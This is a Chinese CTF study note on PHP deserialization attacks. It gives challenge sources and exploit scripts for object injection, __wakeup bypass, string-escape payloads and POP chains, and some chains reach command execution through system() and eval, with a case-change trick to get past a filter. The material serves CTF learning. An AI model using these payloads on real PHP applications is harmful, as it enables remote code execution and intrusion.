一、简单的反序列化题目

1.P1

task.php

highlight_file(__FILE__);

class NSS {

var $name;

function __destruct() {

if ($this->name === 'ctf') {

echo getenv('FLAG');

}

}

}

unserialize($_GET['n']);

exp.php

class NSS {

var $name='ctf';

}

$a=new NSS();

print(urlencode(serialize($a)));

//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D

2.[SWPUCTF 2021 新生赛]ez_unserialize

task.php

error_reporting(0);

show_source("cl45s.php");

class wllm{

public $admin;

public $passwd;

public function __construct(){

$this->admin ="user";

$this->passwd = "123456";

}

public function __destruct(){

if($this->admin === "admin" && $this->passwd === "ctf"){

include("flag.php");

echo $flag;

}else{

echo $this->admin;

echo $this->passwd;

echo "Just a bit more!";

}

}

}

$p = $_GET['p'];

unserialize($p);

?>

exp.php

O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

class wllm{

public $admin="admin";

public $passwd="ctf";

}

$a=new wllm();

print(urlencode(serialize($a)));

//O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

二、wake_up 绕过

1.P3

task.php

highlight_file(__FILE__);

class NSS {

var $name;

function __wakeup() {

$this->name = '1';

}

function __destruct() {

if ($this->name === 'ctf') {

echo getenv('FLAG');

}

}

}

unserialize($_GET['n']);

exp.php

class NSS {

var $name='ctf';

}

$a=new NSS();

print(urlencode(serialize($a)));

//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D

//O%3A3%3A"NSS"%3A2%3A{s%3A4%3A"name"%3Bs%3A3%3A"ctf"%3B}

2.[极客大挑战 2019]PHP

task.php

include 'flag.php';

error_reporting(0);

class Name{

private $username = 'nonono';

private $password = 'yesyes';

public function __construct($username,$password){

$this->username = $username;

$this->password = $password;

}

function __wakeup(){

$this->username = 'guest';

}

function __destruct(){

if ($this->password != 100) {

echo "
NO!!!hacker!!!
";

echo "You name is: ";

echo $this->username;echo "
";

echo "You password is: ";

echo $this->password;echo "
";

die();

}

if ($this->username === 'admin') {

global $flag;

echo $flag;

}else{

echo "
hello my friend~~
sorry i can't give you the flag!";

die();

}

}

}

?>

exp.php

class Name{

private $username = 'nonono';

private $password = 'yesyes';

public function __construct($username,$password){

$this->username = $username;

$this->password = $password;

}

function __wakeup(){

$this->username = 'guest';

}

function __destruct(){

if ($this->password != 100) {

echo "
NO!!!hacker!!!
";

echo "You name is: ";

echo $this->username;echo "
";

echo "You password is: ";

echo $this->password;echo "
";

die();

}

if ($this->username === 'admin') {

global $flag;

echo $flag;

}else{

echo "
hello my friend~~
sorry i can't give you the flag!";

die();

}

}

}

$a=new Name("admin","100");

print(urlencode(serialize($a)));

//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

三、反序列化字符逃逸

1.字符增加

(1).task.php

error_reporting(0);

class a

{

public $uname;

public $password;

public function __construct($uname,$password)

{

$this->uname=$uname;

$this->password=$password;

}

public function __wakeup()

{

if($this->password==='yu22x')

{

include('flag.php');

echo $flag;

}

else

{

echo 'wrong password';

}

}

}

function filter($string){

return str_replace('Firebasky','Firebaskyup',$string);

}

$uname=$_GET[1];

$password=1;

$ser=filter(serialize(new a($uname,$password)));

$test=unserialize($ser);

?>

思路分析

需要反序列化后的password变成yu22x

我们随便带入一个username,password修改为yu22x得到目标字符串

class a

{

public $uname;

public $password;

public function __construct($uname,$password)

{

$this->uname=$uname;

$this->password=$password;

}

public function __wakeup()

{

if($this->password==='yu22x')

{

include('flag.php');

echo $flag;

}

else

{

echo 'wrong password';

}

}

}

$b=new a('admin','yu22x');

echo serialize($b);

#O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";s:5:"yu22x";}

其中我们需要利用的子串是";s:8:“password”;s:5:“yu22x”;}长度30位。

观察替换规则,由Firebasky变成Firebaskyup字符增加2,因此我们需要15个Firebasky

得到payload:

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

(2).index.php

error_reporting(0);

class message{

public $from;

public $msg;

public $to;

public $token='user';

public function __construct($f,$m,$t){

$this->from = $f;

$this->msg = $m;

$this->to = $t;

}

}

$f = $_GET['f'];

$m = $_GET['m'];

$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){

$msg = new message($f,$m,$t);

$umsg = str_replace('fuck', 'loveU', serialize($msg));

setcookie('msg',base64_encode($umsg));

echo 'Your message has been sent';

}

highlight_file(__FILE__);

message.php

highlight_file(__FILE__);

include('flag.php');

class message{

public $from;

public $msg;

public $to;

public $token='user';

public function __construct($f,$m,$t){

$this->from = $f;

$this->msg = $m;

$this->to = $t;

}

}

if(isset($_COOKIE['msg'])){

$msg = unserialize(base64_decode($_COOKIE['msg']));

if($msg->token=='admin'){

echo $flag;

}

}

思路分析

我们需要把message中的token修改为admin获得flag

首先得到目标字符串

class message{

public $from;

public $msg;

public $to;

public $token='admin';

public function __construct($f,$m,$t){

$this->from = $f;

$this->msg = $m;

$this->to = $t;

}

}

$b=new message('1','2','3');

echo serialize($b);

#O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}

我们需要构造的子串是";s:5:“token”;s:5:“admin”;},长度为27,观察替换规则,一个fuck,变成一个loveU,字符增加1,我们需要27个fuck。

payload:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问messa.php获得flag

(3).index.php

highlight_file(__FILE__);

function waf($str){

return str_replace("bad","good",$str);

}

class GetFlag {

public $key;

public $cmd = "whoami";

public function __construct($key)

{

$this->key = $key;

}

public function __destruct()

{

system($this->cmd);

}

}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

思路分析

通过控制GetFlag当中的cmd来执行不同的系统命令,获得flag。

假设我们想要执行ls命令,那么目标字符串就是 O:7:“GetFlag”:2:{s:3:“key”;s:1:“1”;s:3:“cmd”;s:2:“ls”;}

那么我们需要构造的字串是";s:3:“cmd”;s:2:“ls”;},长度为22,观察替换规则,bad变为good,这时候增加一个字符,因此需要22个bad。

payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

这时候,我们成功执行了ls命令

最终payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

2.字符减少

(1).task.php

function filter($string){

$filter = '/pp/i';

return preg_replace($filter,'W',$string);

}

$username = "ppurlet"

$age = "10";

$user = array($username,$age);

var_dump (serialize($user)); # 序列化

echo "

";

$r = filter(serialize($user)); # 替换后序列化

var_dump ($r);

var_dump (unserialize($r)); # 打印反序列

?>

//将age修改为20

思路分析

目标字符串 a:2:{i:0;s:7:“ppurlet”;i:1;s:2:“20”;}

如果我们控制age=20,正常序列化的结果是;i:1;s:2:“20”;}

在其前边插入任意字符和双引号序列化之后得到:a:2:{i:0;s:7:“Wurlet”;i:1;s:17:“1”;i:1;s:2:“20”;}";}

需要吞掉";i:1;s:17:"1这个字符串也就是13个字符。

function filter($string){

$filter = '/pp/i';

return preg_replace($filter,'W',$string);

}

$username = "pppppppppppppppppppppppppp"; //长度为13

$age = '1";i:1;s:2:"20";}'; //正常序列化的结果

$user = array($username,$age);

var_dump (serialize($user)); # 序列化

echo "

";

$r = filter(serialize($user)); # 替换后序列化

var_dump ($r);

var_dump (unserialize($r)); # 打印反序列

?>

//将age修改为20

四、POP链构造

P5

task.php

highlight_file(__FILE__);

class NSS1 {

var $name;

function __destruct() {

echo $this->name;

}

}

class NSS2 {

var $name;

function __toString()

{

echo getenv('FLAG');

}

}

unserialize($_GET['n']);

exp.php

class NSS1 {

var $name;

}

class NSS2 {

var $name;

}

$a=new NSS1();

$a->name=new NSS2();

echo(serialize($a));

P6

task.php

highlight_file(__FILE__);

class NSS1 {

var $name;

function __destruct() {

echo $this->name;

}

}

class NSS2 {

var $name;

function __toString()

{

echo $this->name->test;

}

}

class NSS3 {

var $name;

var $res;

function __get($name){

$this->name->getflag();

}

function __call($name, $arguments){

if ($this->res === 'nssctf') {

echo getenv('FLAG');

}

}

}

unserialize($_GET['n']);

思路分析

调用链:NSS1__destruct()

\rightarrow

→ NSS2.__toString()

\rightarrow

→NSS3.__get()

\rightarrow

→NSS3.____call()

exp.php

class NSS1 {

var $name;

function __destruct() {

echo $this->name;

}

}

class NSS2 {

var $name;

function __toString()

{

echo $this->name->test;

}

}

class NSS3 {

var $name;

var $res;

function __get($name){

$this->name->getflag();

}

function __call($name, $arguments){

if ($this->res === 'nssctf') {

echo getenv('FLAG');

}

}

}

$a=new NSS1();

$a->name=new NSS2();

$a->name->name=new NSS3();

$a->name->name->name=new NSS3();

$a->name->name->name->res='nssctf';

echo serialize($a);

//O:4:"NSS1":1:{s:4:"name";O:4:"NSS2":1:{s:4:"name";O:4:"NSS3":2:{s:4:"name";O:4:"NSS3":2:{s:4:"name";N;s:3:"res";s:6:"nssctf";}s:3:"res";N;}}}

P7

task.php

highlight_file(__FILE__);

class NSS1 {

var $name;

function __destruct() {

echo $this->name;

}

}

class NSS2 {

var $name;

private $test;

function __set($name, $value) {

$a = $this->test;

$a($value);

}

function __toString() {

$this->name->{$this->test}();

}

}

class NSS3 {

var $name;

var $res;

function __invoke($v) {

echo $this->name->flag($v);

}

function flag($a) {

if ($a === '1') {

return getenv('FLAG');

}

}

function __call($name, $arguments){

$this->name->a = '1';

}

}

unserialize($_GET['n']);

思路分析

调用链:

NSS1.destruct()

\rightarrow

→ NSS2.toString()

\rightarrow

→NSS3.call()

\rightarrow

→NSS2.set()

\rightarrow

→NSS3.invoke()

\rightarrow

→NSS3.flag

需要注意的是,在NSS2中test是私有属性,因此要通过成员函数赋值。

exp.php

class NSS1 {

var $name;

}

class NSS2 {

var $name;

private $test;

function setTest($v) {

$this->test=$v;

}

}

class NSS3 {

var $name;

var $res;

}

$a=new NSS1();

$a->name=new NSS2();

$a->name->setTest('1');

$a->name->name=new NSS3();

$a->name->name->name=new NSS2();

$b = new NSS3();

$b->name = new NSS3();

$a->name->name->name->setTest($b);

echo(urlencode(serialize($a)));

[SWPUCTF 2021 新生赛]pop

task.php

error_reporting(0);

show_source("index.php");

class w44m{

private $admin = 'aaa';

protected $passwd = '123456';

public function Getflag(){

if($this->admin === 'w44m' && $this->passwd ==='08067'){

include('flag.php');

echo $flag;

}else{

echo $this->admin;

echo $this->passwd;

echo 'nono';

}

}

}

class w22m{

public $w00m;

public function __destruct(){

echo $this->w00m;

}

}

class w33m{

public $w00m;

public $w22m;

public function __toString(){

$this->w00m->{$this->w22m}();

return 0;

}

}

$w00m = $_GET['w00m'];

unserialize($w00m);

?>

思路分析

调用链:w22m.destruct()

\rightarrow

→w33m.tostring

\rightarrow

→w44m.Getflag()

exp.php

class w44m{

private $admin = 'w44m';

protected $passwd = '08067';

}

class w22m{

public $w00m;

}

class w33m{

public $w00m;

public $w22m;

}

$a=new w22m();

$a->w00m=new w33m();

$a->w00m->w00m=new w44m();

$a->w00m->w22m="Getflag";

echo urlencode(serialize($a));

//O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

exp2.php

class w44m{

private $admin = '123456';

protected $passwd = '123';

function SetAdmin($v){

$this->admin=$v;

}

function SetPasswd($x){

$this->passwd=$x;

}

}

class w22m{

public $w00m;

}

class w33m{

public $w00m;

public $w22m;

}

$a=new w22m();

$a->w00m=new w33m();

$b=new w44m();

$b->SetAdmin('w44m');

$b->SetPasswd('08067');

$a->w00m->w00m=$b;

$a->w00m->w22m="Getflag";

echo urlencode(serialize($a));

//O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

[NISACTF 2022]babyserialize

task.php

include "waf.php";

class NISA{

public $fun="show_me_flag";

public $txw4ever;

public function __wakeup()

{

if($this->fun=="show_me_flag"){

hint();

}

}

function __call($from,$val){

$this->fun=$val[0];

}

public function __toString()

{

echo $this->fun;

return " ";

}

public function __invoke()

{

checkcheck($this->txw4ever);

@eval($this->txw4ever);

}

}

class TianXiWei{

public $ext;

public $x;

public function __wakeup()

{

$this->ext->nisa($this->x);

}

}

class Ilovetxw{

public $huang;

public $su;

public function __call($fun1,$arg){

$this->huang->fun=$arg[0];

}

public function __toString(){

$bb = $this->su;

return $bb();

}

}

class four{

public $a="TXW4EVER";

private $fun='abc';

public function __set($name, $value)

{

$this->$name=$value;

if ($this->fun = "sixsixsix"){

strtolower($this->a);

}

}

}

if(isset($_GET['ser'])){

@unserialize($_GET['ser']);

}else{

highlight_file(__FILE__);

}

//func checkcheck($data){

// if(preg_match(......)){

// die(something wrong);

// }

//}

//function hint(){

// echo ".......";

// die();

//}

?>

思路分析

由危险函数eval,推出invoke,进而是Ilovetxw的tostring,进而是four里的strtolower,进而是four里的set,进而是Ilovetxw的call,进而是TianXiWei里的wakeup

因此,调用链:TianXiWei::wakeup

\rightarrow

→ Ilovetxw::call

\rightarrow

→ four::set

\rightarrow

→ four::strtolower

\rightarrow

→ Ilovetxw::tostring

\rightarrow

→ NISA::invoke

\rightarrow

→ NISA::eval

waf里边过滤了system和其他函数,但是可以大小写绕过。

exp.php

class NISA{

public $fun="";

public $txw4ever='System("cat /f*");';

}

class TianXiWei{

public $ext;

public $x;

}

class Ilovetxw{

public $huang;

public $su;

}

class four{

public $a="TXW4EVER";

private $fun='sixsixsix';

}

$xx=new TianXiWei();

$xx->ext=new Ilovetxw();

$xx->ext->huang=new four();

$xx->ext->huang->a=new Ilovetxw();

$xx->ext->huang->a->su=new NISA();

echo urlencode(serialize($xx));

//O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%22cat+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

phar反序列化

待续。。。。

文章链接

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: